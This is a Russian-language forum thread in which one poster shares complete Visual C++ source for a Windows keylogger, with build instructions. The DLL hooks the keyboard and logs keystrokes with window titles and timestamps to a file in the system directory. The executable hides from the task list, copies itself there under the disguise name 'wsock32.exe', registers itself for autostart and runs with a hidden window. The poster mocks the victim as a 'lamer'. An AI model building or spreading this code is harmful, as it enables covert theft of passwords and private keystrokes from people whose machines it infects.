Форум » Исходники » Исходники keylogger » Ответить

Исходники keylogger

..m0rph!n3..: Не буду распинаться, украшать и т.п. Иии-так, поехали: среда - VC++ 2 файла - dll'ка и exe'шник Создадим проект-библиотеку. код длл: [more][pre2]#include "stdafx.h" #include "ks.h" HANDLE hmod; HHOOK khook; HFILE LogFile; char LogFileName[256] = "ks.txt";//название лог-файла char FullLogFile[256] = ""; char BufStr0[19] = ""; char BufStr1[200] = ""; char BufStr2[256] = ""; char OldAct[1024] = ""; LPSTR ActWin()//поца для определения активного окна { LPSTR ActW = new TCHAR[1024]; SendMessage(GetForegroundWindow(),WM_GETTEXT,1024,(LONG)ActW); return ActW; }; BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { //если лог файл по адресу c:\windir\sysdir отсутствует, то создаем его GetSystemDirectory(FullLogFile,256); strcat(FullLogFile,"\\"); strcat(FullLogFile,LogFileName); LogFile = _lopen(FullLogFile,OF_WRITE); if (LogFile == 4294967295) { LogFile = _lcreat(FullLogFile,4); }; _lclose(LogFile); hmod = hModule; return TRUE; } LRESULT CALLBACK HksKeyProc(int nCode,WPARAM wParam, LPARAM lParam) { if (nCode == HC_ACTION && !(lParam & 0x80000000)) { //если нажата клавиша, то GetKeyNameText(lParam,BufStr0,19); //если ламак не тыкал на кнопочки в этом приложении, то его мы пишем в лог-afqk char *Active = ActWin(); if (strcmp(OldAct,Active) !=0) { strcpy(BufStr1,"\nActive Window(TITLE) "); strcat(BufStr1,Active); strcat(BufStr1,"\n"); //вместе с датой и временем char DateStr0[256] = "dd.MM.yyyy"; char TimeStr1[256] = "hh : mm : ss"; char DateStr1[256] = ""; GetDateFormat(NULL,NULL,NULL,DateStr0,DateStr1,sizeof(DateStr1)); strcat(BufStr1,"["); strcat(BufStr1,DateStr1); strcat(BufStr1,"] "); GetTimeFormat(NULL,TIME_FORCE24HOURFORMAT,NULL,TimeStr1,DateStr1,sizeof(DateStr1)); strcat(BufStr1," "); strcat(BufStr1,DateStr1); strcat(BufStr1," \n"); strcat(BufStr1,"---------------------------------------------------\n"); strcpy(OldAct,Active); }; //пишем название нажатой клавиши strcpy(BufStr2," "); strcat(BufStr1,BufStr2); strcat(BufStr1,BufStr0); LogFile = _lopen(FullLogFile,OF_WRITE); _llseek(LogFile,0,FILE_END); _lwrite(LogFile,BufStr1,lstrlen(BufStr1)); _lclose(LogFile); strcpy(BufStr1,""); }; return CallNextHookEx(khook,nCode,wParam,lParam); }; //процедура для установки хука void HksInit() { khook = SetWindowsHookEx(WH_KEYBOARD, HksKeyProc, (HINSTANCE)hmod, NULL); }; //процедура для закрытия хука void HksClose() { UnhookWindowsHookEx(khook); };[/pre2][/more]

Ответов - 2

..m0rph!n3..: Вуу... Длл написали... ой... запарсили? хм... чего-то не хватает( М.б. "ks.h"? Точно... А где его взять? Пишем(парсим) сами xD [pre2]#ifndef KS_H #define KS_H #include <windows.h> #include <stdio.h> #ifdef __DLL__ #define DLL_EI __declspec(dllexport) #else #define DLL_EI __declspec(dllimport) #endif //--------------------------------------------------------------------------- extern "C" { LRESULT CALLBACK DLL_EI HksKeyProc(int nCode, WPARAM wParam, LPARAM lParam); void DLL_EI HksInit(); void DLL_EI HksClose(); };[/pre2]

..m0rph!n3..: Создаем новый(!) проект. Исполняемый файл. Кидаем в него ks.h и ks.lib (нужно его добавить в библиотеки (Alt+F7) Там уже и пишем: [pre2]#include "stdafx.h" #include "ks.h" char szClassName[256] = "hKs10"; char szAppName[256] = "hKsv10"; typedef DWORD (WINAPI *PREGISTERSERVICEPROCESS)(DWORD,DWORD); //проца для прятания от Ctrl+Alt+Del bool RSP(double p1, double p2) { PREGISTERSERVICEPROCESS rsp; HINSTANCE hK32; bool Rc=false; hK32=GetModuleHandle("kernel32.dll"); if(hK32!=NULL) { rsp=(PREGISTERSERVICEPROCESS) GetProcAddress(hK32, "RegisterServiceProcess"); if(rsp!=NULL) { Rc=true; rsp(p1,p2); } FreeLibrary(hK32); } return Rc; } LRESULT CALLBACK WndProc(HWND,UINT,WPARAM,LPARAM); int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { //прячем от 3x клавиш if(FindWindow(NULL,szAppName)) PostQuitMessage(1); RSP(NULL,1); //копируем ex-шник и дополнительную dll в %winsysdir% char szValue [256] = "wsock32.exe"; HKEY pKey; //прописываемся в автостарте RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&pKey); RegSetValueEx(pKey,"wsock32",NULL,REG_SZ,(BYTE *)szValue,strlen(szValue)+1); char WinDir[256] = ""; GetSystemDirectory(WinDir,sizeof(WinDir)); strcat(WinDir,"\\"); strcat(WinDir,szValue); LPSTR lpFile = new TCHAR[256]; GetModuleFileName(NULL,lpFile,200); CopyFile(lpFile,WinDir,FALSE); GetSystemDirectory(WinDir,sizeof(WinDir)); strcat(WinDir,"\\ks.dll"); CopyFile("ks.dll",WinDir,FALSE); //пишем дату записи в файл char BufStr1[6666] = ""; char DateStr0[256] = "dd.MM.yyyy"; char TimeStr1[256] = "hh : mm : ss"; char DateStr1[256] = ""; GetDateFormat(NULL,NULL,NULL,DateStr0,DateStr1,sizeof(DateStr1)); strcpy(BufStr1,"\n---------------------------------------------------\n"); strcat(BufStr1," Write to file: ["); strcat(BufStr1,DateStr1); strcat(BufStr1,"] "); GetTimeFormat(NULL,TIME_FORCE24HOURFORMAT,NULL,TimeStr1,DateStr1,sizeof(DateStr1)); strcat(BufStr1," "); strcat(BufStr1,DateStr1); strcat(BufStr1,"\n"); char LogFile[256]= ""; GetSystemDirectory(LogFile,256); strcat(LogFile,"\\ks.txt"); HFILE Log1 = _lopen(LogFile,OF_WRITE); _lwrite(Log1,BufStr1,lstrlen(BufStr1)); _lclose(Log1); HksInit(); HWND hwnd; MSG msg; WNDCLASS wc; wc.style = 0; wc.lpfnWndProc = WndProc; wc.cbClsExtra = 0; wc.cbWndExtra = 0; wc.lpszClassName = szClassName; wc.lpszMenuName = NULL; wc.hInstance = hInstance; wc.hCursor = LoadCursor(NULL,IDC_ARROW); wc.hIcon = LoadIcon(NULL,IDI_APPLICATION); wc.hbrBackground = (HBRUSH) COLOR_WINDOW; RegisterClass(&wc); hwnd = CreateWindow(szClassName, szAppName, WS_OVERLAPPEDWINDOW, 2, 10, 70, 100, NULL, NULL, hInstance, NULL); ShowWindow(hwnd,SW_HIDE); UpdateWindow(hwnd); //обрабатываем сообщения while (GetMessage(&msg,NULL,0,0)) { TranslateMessage(&msg); DispatchMessage(&msg); } return 0; } LRESULT CALLBACK WndProc(HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam) { switch (iMsg) { case WM_CREATE:return 1;break; case WM_DESTROY: HksClose(); PostQuitMessage(1); break; }; return DefWindowProc(hwnd,iMsg,wParam,lParam); };[/pre2] Ну вот, готово! При запуске копируется всё дело в windir/sysdir с именем wsock32.exe и ks.dll. [pre]все "спасибо" www.cyberguru.ru[/pre]



полная версия страницы